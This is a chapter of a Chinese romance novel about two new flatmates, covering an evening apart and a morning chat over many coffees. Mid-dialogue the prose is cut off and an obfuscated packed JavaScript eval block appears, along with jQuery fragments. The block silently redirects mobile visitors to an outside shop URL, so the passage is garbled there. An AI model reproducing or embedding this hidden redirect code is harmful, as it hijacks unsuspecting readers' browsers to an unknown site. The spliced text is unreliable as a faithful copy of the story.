室内灯一盏盏灭下去。
厨房先暗，客厅跟着暗，沙发、茶几、电视屏幕最后失去轮廓。整间房被人按进深水，黑了片刻。过了几秒，岛台上方的灯突然思考了一般，重新亮起。次卧走廊也铺开一条窄窄的暖色边界。
李正清转身走进漆黑的主卧，反手关门，扯下T恤，脱掉长裤，没什么情绪地把这一整天乱七八糟的人和事一并剥掉。
他陷在床中央，左手解锁Switch，右手回老周消息。他约他明天下午打高尔夫。
李正清：【只打过室内模拟器，能打室外吗？】
老周回：【有教练的。来见见世面。】
确定完时间，他退出对话框，点开新加坡朋友发来的照片。
Milo趴在属于它的小垫子上，眼馋地盯着人类食物。两条眉毛一高一低，脸上写满没吃到东西的委屈，好像全世界都在联合虐待一只无辜小狗。下一张，它把下巴搭在沙发扶手上，左右转眼珠，试图躲摄像头。
再下一段是三十秒视频。Milo像八辈子没吃过饭一样，狼吞虎咽干掉一碗鸡肉。碗底都被舔出光了，还不肯停。
拍摄者笑它饿死鬼投胎，“让你爸看到还以为我虐待你。 ”
Milo的照片划到底，夜彻底安静下来。
生活不再像土拨鼠之日一样无聊重复，每天都有新故事，当然是好事。坏处是入睡比预想中费些时间，甚至，有点想延迟夜晚的时间。
次卧里，梁心吸了吸鼻子，打开前置摄像头看了一眼。
双眼红肿，一时半会儿不能出去见人。
考虑到这张脸不能单靠心理建设恢复，梁心把手机倒扣床上，将脸贴到冰凉的墙面，给滚烫的脸颊降降温。
左边舒服一点，又换右边。
等脸上的热意退下去，她慢慢移开脸，才发现白墙上蹭出一片偏光孔雀蓝。
两指宽，不大，但在干干净净的白墙上，非常显眼。
梁心盯着那块颜色，心跳停了一拍。
三个礼拜没化妆，几乎失去女人的自觉。化妆品这种东西就是这样，你越不把它当回事，它越要在关键时刻证明自己的存在感。平时晕妆时没见它多持久，蹭到别人家白墙上，倒是显色、防水、牢牢扒住。
丰富的租房经验告诉她，不能擦，越擦越花，越花越难解释。还好李正清不会随便进次卧。她站在墙边想了一会儿，决定过几天去买个砂纸。
人生的急转直下，大概就是这样。刚告别王子公主的故事，就进入了灰姑娘的前半生。
江禾发消息问她怎么样，有没有安全回去，怎么他哥不回他消息。他关心人的时候，会不断刷屏。
梁心：【没事，回来了。】想了想，又补了一句：【吃了汉堡】【谢谢你哥，他人很好】
退出对话框，梁心手一抖，点进了于怀礼的最新未读：
【如果这样想让你没有负担，我接受】
【好好吃饭，好好睡觉】
梁心赶紧倒扣手机，拿两根手指紧紧按住眼皮，试图堵住泪腺。
不知道李正清会不会等她做饭，她得把这身牛劲放在有意义的事情上。不能瞻前顾后流泪。
想到这里，她赶紧走出卧室。
岛台边，新买的滤水篮里搁着洗过的排骨。泡得很干净，颜色淡淡的。旁边还有处理过的土豆和青椒。
梁心看向紧闭的主卧门，脑子嗡了一声。
这人真没有做饭逻辑。排骨要么原封放着，既然拆盒冲水，就该顺手焯掉。天气这么热，隔一夜就不好说了。幸好她出来看了一眼。
她端起马克杯喝水，心里还在替那盆排骨安排命运，余光扫见那瓶新买的金酒。瓶盖上的封膜没了。
梁心拿起来看了看，又放下，走到主卧门口，屏住呼吸听了一会儿。
家里没有动静，只有新风系统极低的底噪。
确认人睡了，她才回到厨房，给自己倒了一点金酒。捏着杯柄，轻轻一晃，嗅闻之间，清冽的植物香直冲肺腑，解开身体里绷着的最后一根弦。
一口下肚，人又可以了。
梁心将短袖袖口卷至肩膀，切起葱姜。新案板真好用，刀落下去，声音轻而脆，和以前那块薄薄的餐盒菜板完全不是一回事。水开后，排骨、葱姜和料酒一并下锅，她站在灶前，看浮沫慢慢翻上来，细抿了一口呛爽，心情意外轻盈。
夜晚重新有了节奏。
那些过不去的事，也跟着这锅水有了处理办法。
能怎么办呢。
撇掉，倒掉。
明天再说。
手机上，李正清发来一段Milo的视频。这是他们的第一次微信对话。没有寒暄，没有打扰，没有问她哭完没有，为什么没出来做饭，只有一只小狗在干饭。
梁心点开前一口饮尽杯中酒，确认人没出来，才慢悠悠欣赏了十遍。
生活的边界像呼吸一样自然起伏。他们不声不响退回到各自床位，只留岛台上的灯光和五彩斑斓的非洲菊尽忠职守。第二天早上，梁心特意定了九点的闹钟，睡前确认过两遍，确实是早上九点。可惜再准确的闹钟，也敌不过资深打工族的自律。
推门出来时，岛台边已经有人了。
李正清坐在高脚椅上，面前摆着一杯冰美式，手机搁在手边。听见开门声，他抬了一下眼：“早。喝咖啡吗？”
岛台上摆了好几个纸袋，Peet’s Coffee、瑞幸、Manner、Tims，纸袋乱摊，像某个小型晨会刚刚散场。
梁心叼着牙刷走过去，含混不清地问：“早。什么咖啡？有客人要来吗？怎么买这么多？”
只有开会的时候，她才会看见这么多杯咖啡同时出现在一张桌子。
李正清不知道她喝热的还是冰的，加奶还是不加奶，能不能接受苦味，是咖啡原教旨主义者，还是什么都愿意试一口的创新型选手，所以把附近几个常见品牌翻了一遍，按销量各点几杯。
“选择困难症随便点的。”
“选择困难症是这么点的吗？我也选择困难……”
梁心刷完牙，随手夹住头发，跑去研究杯套和外卖单，“Manner的橘皮拿铁和香蕉拿铁我喝过，很好喝！之前上班每天都带杯子去打咖啡。唔，这个枫糖燕麦拿铁还没试过，听起来香香的。”她刚要伸手，瞥见风很大的生椰拿铁，动作像信息过载的机器，彻底卡顿。
李正清看她在四杯之间犹豫，晃了晃自己手里的冰美式：“随便喝。”
“我会不会太贪心？”她指向粉红马克杯，“我可以每一个倒一点，喝一小口吗。”
他说，“你不怕overdose，可以都喝了。”
梁心抬眼：“你就喝美式？”
“嗯。”
“那你订这么多？”
李正清没有答她的问题，视线在她脸上停了一下：“昨晚睡得好吗？”
梁心被问得一愣：“还行，怎么了？”
他看着她明显浮肿的脸庞，“脸有些肿。”
梁心将吸管用力戳进生椰拿铁，气呼呼说：“不会说话就不要说！”
她懊恼。怎么刚认识几天，就被看到最丑的素颜。正常睡醒的她和大哭一场后的她，根本是两个物种。一个是水润少女，一个是刚从土里挖出来的根茎类植物。
他表情是真的好奇：“所以是没睡好才这么肿的吗？”
肉眼上看，这会儿她的脸能挤出水来。
她嘴硬：“我睡得很好。”
“几点睡的？”
“看完Milo的视频就睡了。”
“你看Milo视频的时候九点多。就算你晚上十点睡的，睡到早上九点才起来？那你的睡眠需求很大。”
梁心噎住：“你怎么知道我九点多看的？”
“你放的时候没调音量。”他说，“视频里笑Milo饿死鬼投胎，声音传我房间了。”
想起视频里魔音穿耳的背景音，梁心更加确定他是为给她留个人空间才没出现。
她隐约觉得李正清没那么早睡。年纪轻轻，哪有可能九点就没了动静。更何况，主卧安静得太刻意，她出来喝水、倒酒、焯排骨，一路都没有遇见人。
梁心咬着吸管，心口的感激不太争气，悄悄往别处偏了一点：“谢谢你，昨晚没有履约做饭，今天我一定不鸽。”
说完，又戳开那杯橘皮拿铁，低头小抿了一口。咖啡入口微苦，紧接着柑橘香浮上来，是熟悉的仙品。
“我多喝点咖啡，好发挥我全部的厨艺。”
“希望没有别的幺蛾子。”
“没有了没有了，今天我24小时竭诚为您服务！”
“这话听起来，”李正清为难地摇摇头，“很像幺蛾子预告。”
昨天的计划那么完美，什么菜，怎么做，用什么工具，结果到家连灶都没热。
“还能出什么幺蛾子。”世界再多变幻，也没有几件事能影响她的一日三餐。
李正清看着她：“男女之间的事，难说。”
“……”
“我快三十了。看过太多分分合合。”
留学华人圈小，来来去去就那几个人，恋爱、分手、复合、互相拉黑、又在朋友聚会上重新坐到一张桌子。名字换来换去，剧情大同小异，像一款低成本循环游戏，他早就看腻了。
这人长得英俊挺拔，没什么年龄感，可这话一出来，梁心忽然从他的磁场感受到些许疲惫。
不是沧桑，是一种冷眼旁观太久以后，对亲密关系天然的不信任。
她咬着吸管，认真纠正：“你也说了，那是男女之间，纯荷尔蒙的事。但我不是。”
这解释如果没有前情提要，听起来完全是一个女人的嘴硬，毫无说服力。
他指腹无意识在岛台桌面轻点：“最好是。”
“大家都分不掉吗？”梁心不爱八卦，男女纠缠知道的很少。
“女的想分手多会分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650932|204933||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
分合合。”
“男的呢？”
“男的想分，通常能分掉。”
梁心刚要疑惑，就听他继续道：“但会多一个熟悉的炮友。”
她皱起眉心，用力控诉：“刻板印象！”
李正清没反驳，只往后一靠：“所以说，我改造得还不够好。”
梁心后知后觉，眨眨眼：“你是在暗示我什么吗？”
“我能暗示你什么？”他摆出一副事不关己的样子，“我只是警醒你。”
“警醒我不要有炮友？”
警醒你确定要过上这种饭都吃不上的生活吗？他用一副孺子不可教也的眼神收回话题：“随你怎么理解。”
“你上次说Dating app，你玩吗？”
“不玩。”
“那你框我！”
“我要确定你会不会乱带人回来！这好歹是我的房子。”
“好吧。”倒是有几分道理，“那你喜欢这事吗？”
他故意问：“什么？”
梁心想到于怀礼说在她之前，他没遇到任何人让他想过结婚。话到了嘴边，她忍不住问出口：“约。”
李正清嫌弃这个问题：“不喜欢。”
梁心本来还挺镇定，被他这么一看，赶紧回避眼神，“为什么？”
他摊开手，脸上写满疑惑：“你觉得我喜欢陌生人？”
她转过身去，调整憋不住的笑意，缓过来，她转过身，换到下一个话题：“你昨天几点睡的？”
“估计一点。玩游戏玩晚了。”
“你当时没睡？为什么不在客厅玩？”
李正清咽下最后一口美式，自觉无比清醒，把空杯放到岛台上：“晚上就不在客厅了。你要用洗手间，也要洗澡，我赖在公共区域不合适。”
她清了清嗓子：“其实没关系的。你不用这么客气，不要因为我影响你的生活质量。”
“没有影响。”
“有的。你游戏都拿回房间了。”
李正清无所谓道：“房间也能玩。”
“体验不好。”
“挺懂的。”
她又换了杯香蕉拿铁细抿，小声说：“我一般十点洗澡。洗澡之前，你可以用客厅。”
李正清点了下头：“好。”
梁心松了口气，继续分享：“昨天我看完视频以后，又看了一会儿书。十一点左右睡的。”
“看的什么书？”
她想起主卧床头也放着书，猜他大概对书感兴趣：“《不原谅也没关系》。”
李正清把空掉的冰美式放到一边：“哦。”
梁心很自然地问：“你要看吗？我已经看两遍了，可以给你。”
他默念了一遍书名：“我对言情小说不感兴趣。”
“不是言情小说！”梁心放下咖啡，没一会儿，拿着书跑出来：“你看，真不是。”
李正清接过来，看了眼封面，艰难地念出标题下面的小字：“复杂……复杂性创伤后压力综合征自我疗愈圣经。现在的病名这么复杂吗？”念完，他指腹压着书脊，把书还给她，“谢谢，我不用。”
梁心把书往他怀里一推，特别坚定：“你用。”
“你确定？”他翻开目录，本来只是随便扫一眼，目光却在某几个词上短暂停住。
“情绪闪回。”他念了一句，又往后翻，“内在批判者。讨好型防御。羞耻感。”
梁心站在岛台另一侧看着他的翻书速度，看出他不打算认真看，只是在把有用的信息抓走应付她。
她脑海晃过生态园那天的场景，心中坚信，人可以把话说得滴水不漏，可呼吸不会骗人。
李正清合上书，又一次还给她：“我不用。”
梁心没有接：“你用。睡前读一会儿，很催眠的。能睡着也是疗愈的一部分。”
“我不失眠。”
“你不会被生活里的事影响睡眠吗？”
李正清看着她，刻意清了清嗓：“不会。我干什么都不会失眠。”
这句话落下去，空气安静了半秒。
两个人几乎同时想起前几天那个话题。
梁心说过，她晚上办那种事容易失眠。
当时她说得一本正经，现在被这句话轻轻一勾，记忆羞耻地浮上来。她握着咖啡杯的手指微微收紧，表面仍旧很端庄，低头抿了一口咖啡。
李正清没移开视线。
听着是随口一句，可眼底那点笑意压得不太干净，黑色瞳孔里带着一点坏。不至于冒犯，但梁心特想躲。
她咽下咖啡，若无其事地说：“那算了。”
她刚要把书拿回来，谁知李正清手腕一转，又把书收回掌中。
“我读读吧。”他说，“说不定哪天失眠。”
梁心满意地把咖啡推到一边，拉开冰箱：“好啦，我要下厨准备今天的三菜一汤了。这是我早起的目的！”
李正清把书往沙发上一放：“等您两天了。”